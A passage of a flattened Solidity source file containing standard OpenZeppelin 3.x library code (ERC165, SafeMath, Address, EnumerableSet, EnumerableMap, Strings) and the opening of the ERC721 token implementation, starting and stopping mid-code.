totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } 